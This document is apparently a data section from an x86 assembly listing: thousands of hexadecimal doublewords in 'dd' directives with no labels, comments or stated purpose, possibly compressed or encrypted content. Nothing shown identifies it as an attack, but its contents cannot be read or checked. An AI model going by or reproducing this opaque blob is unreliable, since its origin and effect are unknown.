dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch
dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h
dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h
dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h
dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h
dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h
dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h
dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h
dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h
dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh
dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h
dd 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h
dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h
dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah
dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh
dd 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh
dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
dd 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h, 0F0FC8700h
dd 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh, 1DEB1903h
dd 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h, 0E7E0558Dh
dd 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h, 26D858Ah
dd 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h, 1D28E6h
dd 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h, 76481730h
dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h
dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h, 0E73ECh
dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h
dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h, 78E9AF74h
dd 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h, 2C3E20CEh
dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h
dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h
dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh
dd 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h, 0D803C6Dh
dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h
dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h
dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h
dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h, 0ECE4AF02h
dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h
dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch
dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h
dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h, 0BA00280Dh
dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h
dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h
dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h
dd 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h, 0AA3C064Bh
dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h
dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h
dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh
dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h
dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h
dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h
dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h
dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h
dd 1AEC57Ch
dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch
dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h
dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h
dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh
dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h
dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h
dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h
dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh
dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h
dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h
dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh
dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh
dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h
dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h, 200107Dh
dd 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h
dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h
dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
dd 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h
dd 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch, 307A45h
dd 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h
dd 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h, 782A8CEh
dd 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh, 332DA083h
dd 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h, 0FC7050C4h
dd 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h, 0E80183B8h
dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh
dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h
dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h
dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h
dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh, 0A64DA6Fh
dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h
dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h
dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h
dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh
dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h, 8AA2D55Ch
dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h, 1482C7h
dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h
dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch, 0C3511FBCh
dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h
dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h
dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch, 7C097234h
dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh
dd 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h, 87F8310h
dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h
dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh
dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah
dd 5E40ED4h, 2C201021h, 34443088h, 0EB382000h, 0DA7E9732h
dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh
dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h, 0FC2E000Ch
dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h
dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h
dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh
dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h
dd 0FF09B068h, 0E0003D5h
dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h
dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh
dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h
dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh
dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h
dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh
dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h
dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h
dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h
dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h
dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh
dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh
dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h
dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h
dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h
dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h
dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h
dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh
dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h
dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh
dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh
dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h
dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh
dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh
dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh
dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h, 0F642AA80h
dd 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h, 0EF540077h
dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch, 68500762h
dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
dd 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h
dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h, 3F71A108h
dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h, 49980901h
dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h, 2879AF8Bh
dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h, 0F2EE0044h
dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
dd 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h, 0F826112Fh
dd 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h, 4D9880D7h
dd 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h, 327736F2h
dd 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h, 53005079h
dd 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h, 4A384700h
dd 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h, 4C78346h
dd 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h, 5200791Ch
dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h
dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh, 0EAE6E297h
dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh
dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h, 2BCD0379h
dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h, 14F47970h
dd 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh, 0FA4AEBC7h
dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h
dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h
dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h, 0A000EEEh
dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh
dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h
dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h
dd 114CFF02h, 80F0756h, 91F6482Eh, 3737566h, 0E888BA8Ch
dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh
dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h, 0BC2042C7h
dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h, 0B006DC3Ah
dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h
dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah
dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h
dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh
dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h
dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h
dd 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h, 58694A6Ch
dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h, 168E4212h
dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh
dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h, 7F00EA80h
dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h
dd 9005821h, 6AF8E2E9h, 1616851Fh, 1553C08h, 0F2064369h
dd 0A5EEE012h, 0C9032707h
dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh
dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h
dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh
dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h
dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh
dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh
dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h
dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh
dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh
dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h
dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh
dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
